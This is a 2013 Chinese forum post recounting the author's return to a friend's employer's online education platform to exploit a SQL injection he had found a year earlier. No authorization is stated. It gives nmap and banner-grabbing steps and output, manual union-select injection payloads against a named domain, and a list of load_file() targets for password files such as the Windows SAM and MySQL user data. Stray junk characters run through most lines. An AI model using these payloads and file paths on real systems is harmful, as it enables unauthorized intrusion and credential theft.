找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2255|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
题记:
/ D8 S: q+ D" N$ O5 M/ y: N3 N: Y一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
4 T2 A0 x, }2 X2 u7 v" W第一步:获取需要的信息2 G( k/ X+ B9 j0 U
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
/ T! d' V- y, Y# s9 r注:以下为保护特用XXX代替敏感信息
* x. F7 e, W9 d  v! {& t顺手先PING了一下他们的域名:
1 L: R0 N+ t/ {* r, m# R, eping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)/ X+ p# O/ s, d& b1 p' d' y
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms; P4 k: m9 i- {& t3 J) ^' O
顺便了解一下TTL,学好基础知识才能一路顺风:
3 x+ V9 G5 o8 e' e& bTTL:(Time To Live ) 生存时间# ]9 J: B! K; y5 j1 u  }' d
指定数据包被路由器丢弃之前允许通过的网段数量。# }, a4 ]& T0 Q6 Y' g0 V) `3 R  M
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。9 M0 i1 f( z- V, W9 B6 H
使用PING时涉及到的 ICMP 报文类型
. o$ H! W; _) T" E+ B/ T一个为ICMP请求回显(ICMP Echo Request)
9 W  d0 c5 ?$ j+ \, M$ s9 _: l4 {0 i一个为ICMP回显应答(ICMP Echo Reply)
- H3 e% o8 @; e6 w. MTTL 字段值可以帮助我们识别操作系统类型。
+ ^& s1 h$ g, Q# G0 a& _UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
( i! D5 e; h; l, L! O0 s+ P6 jCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
# w' N0 m. G- q- h2 s微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1282 P% d6 o5 }9 a$ y: \1 J* a/ ~
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
. z# j' V) G* \/ F+ V1 O) o" X当然,返回的TTL值是相同的' v# }6 }6 Y! u% X7 w% R5 ?! D
但有些情况下有所特殊
! q9 y/ w6 b3 ?LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
. ^2 p$ m8 ?+ TFreeBSD 4.1, 4.0, 3.4;: X9 F6 n- B. v4 i
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
9 V; K5 s' A# y* ?OpenBSD 2.6, 2.7,
+ @4 T1 x7 `5 [9 r* e- K/ w0 Y$ bNetBSD" J+ @- K" L5 T: u: S+ x* L! H
HP UX 10.207 I- x8 I" s7 q$ i! v' ]; [5 |
ICMP 回显应答的 TTL 字段值为 255' L9 O2 ^" }* L
Windows 95/98/98SE
# k! D: @% S# z4 r7 xWindows ME
# `  i: P# I5 w2 x$ r9 KICMP 回显应答的 TTL 字段值为 32" l1 t9 B5 `6 y6 Z7 t0 ^: w4 N
Windows NT4 WRKS
: m7 W9 g7 f* }4 OWindows NT4 Server- I, `+ z. [% ~% C
Windows 2000
/ J3 G7 m& M6 a6 uWindows XP& ?% V+ q& h: a
ICMP 回显应答的 TTL 字段值为 128- ~5 M* z; b# a0 L9 ]- J
这样,我们就可以通过这种方法来辨别操作系统
* K+ N  u! i$ n) N6 n! XTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
  o8 o! D$ [. r( L* h用NMAP扫描一下:
0 a, T* o' R- b% t5 m* cnmap -sT -O XXX.XXX.XXX.XXX( h2 x' ~  m* |! R8 Q& z$ l) s
如果没有装WinPcap则会弹出提示:+ s6 e, ?5 w3 Z. R* j
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr5 g# C* M( P4 ^" Z# ^! e8 o9 t( a
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
( X0 N8 x- o4 O+ F) mode — Nmap may not function completely
* P% R# I( M% w/ jTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
+ M7 O0 z" t/ F& k; {1 p# Mand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
' q; q, U9 h+ p$ s0 Ypcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
+ n: L4 X) s7 m6 ^! {( M# td later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
" V( s. `, Y- w* e, V  iersions, you may be able to take iphlpapi.dll from another system and place it i* L5 }4 T% T: W! f$ |' e
n your system32 dir (e.g. c:\windows\system32).
9 }! u# P3 P, d/ _' G5 d1 T6 v$ TQUITTING!) Y( t$ {% m* W  A* f# ?
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
7 H1 U4 }% M$ ]3 ]) C" P* }安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
( W: T# w6 V. y. O/ ^Interesting ports on XXX.XXX.XXX.XXX:
* T0 Y( g* w2 S" BNot shown: 986 closed ports
$ d0 t  v/ l9 R2 e8 o. w6 aPORT     STATE    SERVICE
( S# y8 b( D) P  N6 j21/tcp   open     ftp4 {4 |/ @/ `8 H8 |" W8 W8 [
22/tcp   open     ssh
/ A- B  G( c, o1 j, ^& U23/tcp   open     telnet6 V2 J9 W# V# n* B0 r9 K
80/tcp   open     http
7 D  p4 {2 n8 D  Y111/tcp  open     rpcbind
& `) n$ g' G& V135/tcp  filtered msrpc! ]# r. O* P- U9 E+ O, C! i
139/tcp  filtered netbios-ssn' ?. E, E8 A' l7 {8 o* C6 s
445/tcp  filtered microsoft-ds2 V( s. [! x4 Y0 f# L
513/tcp  open     login) U5 M, i7 U0 B- g7 l4 F6 _& D
514/tcp  open     shell* n2 a% N3 w: k
593/tcp  filtered http-rpc-epmap
) h( k3 K$ o! y0 Q. W1720/tcp filtered H.323/Q.931
, k  ]* T( c- |$ |3 a3306/tcp open     mysql
9 t4 F& Z" P3 E4 W; C5 M( _4444/tcp filtered krb524. \: I" @1 T2 R
Device type: WAP
  k, \: Q# B; vRunning: Linux 2.4.X' w9 }- A' x6 M
OS details: DD-WRT (Linux 2.4.35s)
3 D  p/ E0 @: `7 ?Network Distance: 13 hops
' @& z1 q" f1 @$ K' U& i看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:/ V& z2 c8 X2 K9 j9 a" i, x) H
login as:
) C6 P: _, ]3 y5 @3 ]Telnet23端口也是开着的,用telnet 命令链接一下:; R, I5 y9 T  p. _2 n( O+ l
telnet XXX.XXX.XXX.XXX& i' `  v- S' g
提示:
" D; {# G1 W1 C8 NRed Hat Enterprise Linux Server release 5.2 (Tikanga)
, c1 q4 P- \( b! X& i1 _( i6 i! JKernel 2.6.18-92.el5PAE on an i686
9 D$ [2 b% @+ C5 m; o) Xlogin:/ g; O' e% [+ c$ T
获取HTTP头信息:
4 X0 j6 J8 L5 `: W2 q/ O在本地执行如下PHP代码
/ R! X1 y( g5 J0 `' E, |# l2 }<?php
3 E, m( D4 f6 U( L1 y, u$url = ‘XXX.XXX.XXX.XXX’;
( v3 U$ h# q3 x7 U: d* Rprint_r(get_headers($url));0 M9 s( s8 ^; B# \7 e4 U
print_r(get_headers($url, 1));
3 T, V: ~- ]; [8 T0 n  |9 M. N# a?>- c+ _' p; @7 n
将以上代码保存为PHP文件,执行:
8 h' }: N& R, y% T$ mArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
1 m( U8 r7 C( F6 _9 ?' {现在可以得出结论:
7 K& ]( E. t8 T- x7 f4 g系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
' ~, P, y2 u. K内核版本:Kernel 2.6.18-92.el5PAE on an i686/ G. ?0 J+ F; P( V
WEB服务器版本:nginx/0.7.61
7 f/ q6 I( T5 \9 r8 g第二步,开始测试寻找漏洞
. {) Z4 A, k" @$ T6 B5 }! i/ d6 ?分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。! P* J) [' D& b0 }# u0 m( r7 f& ^
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的9 h" c1 u& b# {! A3 |  N5 V$ P
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试8 a6 E9 S8 R+ o0 O  W1 D) M
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常  L2 Z1 x9 q; ]6 t: L5 h* X
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
3 m; t% O' \' g4 O8 K2 M" ~+ Q/ y, f9 j恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
* e5 Z% u$ h9 ^$ |( G5 F* m+ T3、手工注入:+ {1 O% a8 l3 j4 ?/ x9 T
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
! z& H) W* r; |4 ^, ~1 b3.1 猜测当前表字段数
4 O) k8 w% Y" m8 G2 qhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
3 v1 h& N6 G0 _/ ~此处猜测有个简单的算法,都是有技巧的吗,呵呵  m1 c, g5 _  v; l, B$ ]/ l9 F
算法简单如下:4 w+ q/ d1 J. D! `
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;- p/ `+ N" P; R+ ~
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;7 q( W4 M9 d1 K0 v& ]+ A: ~, i
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
: e' j3 ]! T. @7 S: {5 s以此来判断,是否过界,配合取中算法猜出字段数。# X) ^0 e4 r5 w/ W
举例:3 _$ R( ]. z: L! [8 C  [$ J
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常8 y9 I8 n# H( L- {
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
, k' ]6 N) P) }7 d. y, S. h此时3则为我们要找的字段数。
, z+ b% a, L. F$ E1 d3.2 配合union联合查询字段在页面所位置, z8 o" j# T5 P$ ^# {
我们已经知道了字段数为3,此时则可以做如下操作:/ H. ^& ?) {7 H' E. J: ]5 ]" w
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3: T- c$ F9 s* d; ]* Y0 i; A
$ ]- @/ M" ~7 f2 P8 a, q. D
这样就可以测试到哪些字段在页面上有所显示了,如图:  @$ `8 h+ Y& a5 o: T( I

9 g3 A% }4 z4 S3.3 查敏感信息3 G% c: x) {2 }
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
. }: g9 b9 h5 G! shttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
( I# V( j7 ?! z3.3.1 先查数据库用户、数据库名,以备后用,如图:
8 d9 B9 b6 w0 Z" p; ~/ \; @/ K! x
得到数据库用户为root、数据库名为DBxx;4 W# q* J6 O6 o2 q
3.3.2 查配置文件
5 f) g6 f' p6 q. d' z, |查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
! H/ W$ Y& [# D3 w查看文件有一定的条件限制:; Q1 l& e5 f8 S& x9 Z2 X  n5 p: `1 S
欲读取文件必须在服务器上
6 w" G" x$ b2 y( r( R! w  _/ A# ?" ^1 @必须指定文件完整的路径
5 Q( a6 H5 V3 m: X! `必须有权限读取并且文件必须完全可读
/ k  f/ G* ?% _+ K: N( Y! G% F欲读取文件必须小于 max_allowed_packet  i  Z5 Z2 `5 h3 b: A4 Q, g3 C
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。6 h: ^; T8 l* m  {; l; ]
常用的一些:
3 ]( I; m& b0 z9 @4 Q% t/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件4 E  |8 W5 M1 T5 U) c3 r/ Q& G
/usr/local/apache2/conf/httpd.conf
- S; X" f2 q  d/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
( z' V, y1 v! {' ?3 W0 s/usr/local/app/php5/lib/php.ini //PHP相关设置
& b6 q! m- ]' Y/ m/etc/sysconfig/iptables //从中得到防火墙规则策略9 j' K& z# k- O7 Z* \; M2 X
/etc/httpd/conf/httpd.conf // apache配置文件, V2 ^) r; B- F
/etc/rsyncd.conf //同步程序配置文件
, U3 M8 K4 Z- S4 ?! g$ J/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
  ?# c6 I- Y, A' ?+ Q8 t6 m/etc/my.cnf //mysql的配置文件
, f2 {, z5 l% S! O/etc/redhat-release //系统版本
: K$ Y, U4 s4 V1 g+ f& c/etc/issue
. F( k$ m; ^0 t' k/etc/issue.net2 T5 l* ~7 u: l, ]) Z& \4 C, F
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码4 X1 K, P) a  n! j. u
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
7 _! ^$ A8 c7 h; M& f7 I7 Ic:\Program Files\Serv-U\ServUDaemon.ini
. h4 j6 H# ^9 g. kc:\windows\my.ini //MYSQL配置文件  q$ C% M. v2 v& ~' C& ]: s
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件% p9 v% I; E9 p6 t, X, q* H
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
/ U3 r* \8 L* h+ F8 A9 Bc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码7 X4 g6 I  v1 B/ e5 ^6 e
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此) I. x2 l. g/ p
c:\Program Files\RhinoSoft.com\ServUDaemon.exe$ T, X, S7 B2 d# ]6 `2 [
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件* x, d' v2 u; E$ g, x1 s) _! D4 q# e. ^
//存储了pcAnywhere的登陆密码
- l1 y7 ^1 k$ \由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
$ z* P2 k& }% i+ _; R. L这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
/ i% t1 m& Z/ Y  ^8 P! q+ j最后:防范措施
8 Z  m$ E9 ?& v" Y1、修复PHP注入漏洞;
% Z+ E) n" g0 `  Y: ?2、Mysql使用普通权限的用户;' m5 ^3 X# S- ~" v
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表